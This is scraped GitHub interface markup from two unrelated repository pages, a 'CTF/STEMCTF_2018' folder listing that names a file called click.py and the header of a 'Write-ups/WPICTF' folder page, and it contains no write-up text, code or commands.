class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF</span></span></span><span>/</span>STEMCTF_2018<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF</span></span></span><span>/</span>STEMCTF_2018<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/Liodeus/CTF/tree-commit/0d202d7b7f4becb7e65febc75682ab2cb7c23149/STEMCTF_2018" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/Liodeus/CTF/file-list/master/STEMCTF_2018"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>click.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>Write-ups/WPICTF at master · soolidsnake/Write-ups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="937D:0D35:12B9D615:133B1C8D:641226A4" data-pjax-transient="true"/><meta name="html-safe-nonce" content="be169204ff24a1ac70d6a6bf399f1a96d329ba49c24ce44267224d442670d134" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5MzdEOjBEMzU6MTJCOUQ2MTU6MTMzQjFDOEQ6NjQxMjI2QTQiLCJ2aXNpdG9yX2lkIjoiODgxNTAyOTgwMDk4Mjk0NzQ5MiIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="31a40de86eebd40ec96da36356e1f903cfd58cf443c6ffab3894b5746bc792dd" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:106194257" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to soolidsnake/Write-ups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/696b282f93f86dc78a04c58463a18477a4a5d7eafff2d709dcce84d06337e13c/soolidsnake/Write-ups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Write-ups/WPICTF at master · soolidsnake/Write-ups" /><meta name="twitter:description" content="Contribute to soolidsnake/Write-ups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/696b282f93f86dc78a04c58463a18477a4a5d7eafff2d709dcce84d06337e13c/soolidsnake/Write-ups" /><meta property="og:image:alt" content="Contribute to soolidsnake/Write-ups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Write-ups/WPICTF at master · soolidsnake/Write-ups" /><meta property="og:url" content="https://github.com/soolidsnake/Write-ups" /><meta property="og:description" content="Contribute to soolidsnake/Write-ups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/soolidsnake/Write-ups git https://github.com/soolidsnake/Write-ups.git"> <meta name="octolytics-dimension-user_id" content="24613200" /><meta name="octolytics-dimension-user_login" content="soolidsnake" /><meta name="octolytics-dimension-repository_id" content="106194257" /><meta name="octolytics-dimension-repository_nwo" content="soolidsnake/Write-ups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="106194257" /><meta name="octolytics-dimension-repository_network_root_nwo" content="soolidsnake/Write-ups" /> <link rel="canonical" href="https://github.com/soolidsnake/Write-ups/tree/master/WPICTF" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 